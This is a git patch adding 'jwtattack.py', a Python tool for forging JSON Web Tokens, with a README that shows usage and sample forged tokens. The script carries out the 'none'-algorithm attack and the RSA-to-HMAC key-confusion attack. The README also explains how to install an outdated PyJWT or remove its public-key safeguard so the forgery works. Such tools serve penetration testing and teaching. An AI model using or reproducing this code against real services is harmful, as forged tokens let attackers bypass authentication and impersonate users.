From 860bac788450c6a4a5e70046152f24e5cf7f22dc Mon Sep 17 00:00:00 2001 From: Simon Moser Date: Fri, 28 Jan 2022 17:17:58 +0100 Subject: [PATCH] Add jwtattack to git --- .gitignore | 4 ++ README.md | 69 +++++++++++++++++++++++++ jwtattack.py | 139 +++++++++++++++++++++++++++++++++++++++++++++++++++ logger.py | 26 ++++++++++ 4 files changed, 238 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100755 jwtattack.py create mode 100644 logger.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f8b78d6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.log +venv/* +.idea/* +__pycache__/* diff --git a/README.md b/README.md new file mode 100644 index 0000000..a0467a3 --- /dev/null +++ b/README.md @@ -0,0 +1,69 @@ +# jwtattacker.py + +## Requirements +* Python3 +* PyJWT 0.4.3: `pip install pyjwt==0.4.3` + +later versions don't allow public keys for symmetric signatures + +Alternative: replace + +``` +invalid_strings = [ + b'-----BEGIN PUBLIC KEY-----', + b'-----BEGIN CERTIFICATE-----', + b'-----BEGIN RSA PUBLIC KEY-----', + b'ssh-rsa' +] +``` + +in algorithms.py with + + +``` +invalid_strings = [] +``` + + +## Usage +``` +$ ./jwtattack.py -h +usage: jwtattack.py [-h] [-V] [-v] [-a] [-n] [-r] [-H HEADERS [HEADERS ...]] + [-D DATA [DATA ...]] + token [PUBLIC_KEY] + +This script tries to create malicious JSON Web Tokens + +positional arguments: + token the JWT to attack + +optional arguments: + -h, --help show this help message and exit + -V, --version show program's version number and exit + -v, --verbose display verbose output + +Attack options: + Select attack options to generate malicious tokens + + -a, --all generate all possible malicious tokens + -n, --none generate a token using the 'none' algorithm + -r, --rsa generate a token signed with the public key + PUBLIC_KEY public key for the RSA attack (alternatively stdin) + -H HEADERS [HEADERS ...], --headers HEADERS [HEADERS ...] + Changes to apply to the header, format key:value + -D DATA [DATA ...], --data DATA [DATA ...] + Changes to apply to the data, format key:value +``` + +## Sample output +``` +$ echo "-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugd +UWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQs +HUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5D +o2kQ+X5xK9cipRgEKwIDAQAB +-----END PUBLIC KEY-----" | ./jwtattack.py -a eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.TCYt5XsITJX1CxPCT8yAV-TVkIEq_PbChOMqsLfRoPsnsgw5WEuts01mq-pQy7UJiN5mgRxD-WUcX16dUEMGlv50aqzpqh4Qktb3rk-BuQy72IFLOqV0G_zS245-kronKb78cPN25DGlcTwLtjPAYuNzVBAh4vGHSrQyHUdBBPM +None: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0. +RSA: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.mm69FICCR3LpghwmUJDjrwcrXlqkvgbKGiLhUp-jI5U +``` + diff --git a/jwtattack.py b/jwtattack.py new file mode 100755 index 0000000..7da89b6 --- /dev/null +++ b/jwtattack.py @@ -0,0 +1,139 @@ +#!/usr/bin/python3 +from argparse import ArgumentParser +from jwt import encode, decode, get_unverified_header +from logger import Logger +from sys import stdin +from pprint import pprint + +VERSION = "1.0-20201203" +DESC = "This script creates malicious JSON Web Tokens" + + +class JwtAttack: + # Attack enums + NONE = 1 + RSA = 2 + + def __init__(self, token=None, verbose=False, rheaders=None, rdata=None, attacks=[], rsa_key=None): + if attacks is None: + attacks = [] + if token is None: + # Initializing the argument parsing + ap = ArgumentParser(description=DESC, prog="jwtattack.py") + ap.add_argument("-V", '--version', action='version', version='%(prog)s ' + VERSION) + ap.add_argument("-v", "--verbose", action="store_true", help="display verbose output") + ap.add_argument('token', help="the JWT to attack") + + g_attacks = ap.add_argument_group("Attack options", "Select attack options to generate malicious tokens") + g_attacks.add_argument("-a", "--all", action="store_true", help="generate all possible malicious tokens") + g_attacks.add_argument("-n", "--none", action="store_true", help="generate token using 'none' algorithm") + g_attacks.add_argument("-r", "--rsa", action="store_true", help="generate token signed with the public key") + g_attacks.add_argument("PUBLIC_KEY", nargs="?", help="public key for the RSA attack (alternatively stdin)") + g_attacks.add_argument("-H", "--headers", nargs="+", help="Changes to apply to header, format key:value") + g_attacks.add_argument("-D", "--data", nargs="+", help="Changes to apply to data, format key:value") + ap.add_argument_group(g_attacks) + + # Loading options + args = ap.parse_args() + verbose = args.verbose + token = args.token + rheaders = [x.split(":") for x in args.headers] if args.headers else [] + rdata = [x.split(":") for x in args.data] if args.data else [] + if args.all or args.none: + attacks.append(self.NONE) + if args.all or args.rsa: + attacks.append(self.RSA) + rsa_key = args.PUBLIC_KEY + + self.log = Logger(verbose) + self.token = token + self.headers = None + self.rheaders = rheaders + self.rdata = rdata + self.data = None + self.attacks = attacks + self.key = rsa_key + + def replace(self, rheaders, rdata): + # Replace headers and data according to arguments + if rheaders: + self.log.information("Modifying headers according to arguments") + for header in rheaders: + self.headers[header[0]] = header[1] + self.log.information("Set header " + header[0] + " to " + header[1]) + self.log.information("Headers = " + repr(self.headers)) + if rdata: + self.log.information("Modifying data according to arguments") + for data in rdata: + self.data[data[0]] = data[1] + self.log.information("Set data " + data[0] + " to " + data[1]) + self.log.information("Data = " + repr(self.data)) + + def attack_none(self): + # Rewrite and add empty signature + headers = self.headers.copy() + headers["alg"] = "none" + self.log.information("Modified headers = " + repr(headers)) + return encode(self.data, None, algorithm="none", headers=headers) + + def attack_rsa(self): + # Check if asymmetric signature is used + if self.headers["alg"] not in ["RS256", "RS384", "RS512", "ES256", "ES384", "ES512"]: + self.log.error("Algorithm " + self.headers["alg"] + " does not support RSA attack") + self.log.warning("Allowed algorithms are RS256, RS384, RS512, ES256, ES384, ES512") + return + self.log.information("Algorithm " + self.headers["alg"] + " supports RSA attack") + + # Retrieve key + if self.key is None and not stdin.isatty(): + key = stdin.read() + key = key.rstrip("\n") + self.log.information("Key from stdin = " + key) + else: + self.log.error("No RSA public key provided!") + return + + # Rewrite and sign symmetric + headers = self.headers.copy() + headers["alg"] = "HS" + self.headers["alg"][2:] + self.log.information("Modified headers = " + repr(headers)) + return encode(self.data, key, algorithm=headers["alg"], headers=headers) + + def pretty_print(self): + print("\nHeader:") + pprint(self.headers) + print("\nData:") + pprint(self.data) + + def attack(self): + # See https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ + # Get headers and data from token + self.headers = get_unverified_header(self.token) + self.log.information("Headers = " + repr(self.headers)) + self.data = decode(self.token, verify=False) + self.log.information("Data = " + repr(self.data)) + + self.replace(self.rheaders, self.rdata) + # Replacing signature with 'none' algorithm + if self.NONE in self.attacks: + self.log.information("Attacking using algorithm 'none'") + self.log.output("None: " + self.attack_none().decode("utf-8")) + + # Trying to sign with a secret key using the RSA private key + if self.RSA in self.attacks: + self.log.information("Attacking using RSA signatures") + rsa = self.attack_rsa() + if rsa is not None: + self.log.output("RSA: " + rsa.decode("utf-8")) + + # Pretty-print if no attack is chosen + if not self.attacks: + self.pretty_print() + + if self.headers["alg"] in ["HS256", "HS384", "HS512"]: + self.log.output("You could try brute-forcing the symmetric secret") + + +if __name__ == "__main__": + j = JwtAttack() + j.attack() diff --git a/logger.py b/logger.py new file mode 100644 index 0000000..b8b5280 --- /dev/null +++ b/logger.py @@ -0,0 +1,26 @@ +import time + + +class Logger: + def __init__(self, v=True, o=None): + self.verbose = v + self.outfile = o + + def information(self, s): + self.__write('[INFO]: ' + s, "") + + def warning(self, s): + self.__write('[WARN]: ' + s, "\033[1;33m") + + def error(self, s): + self.__write('[ERROR]: ' + s, "\033[1;31m", True) + + def output(self, s): + self.__write(s, "\033[1;32m", True) + + def __write(self, s, f, v=False): + if self.outfile is not None: + with open(self.outfile, "a") as out: + out.write(time.strftime("%Y-%m-%d_%H%M%S") + " " + s + "\r\n") + if self.verbose or v: + print(f + s + "\033[1;0m")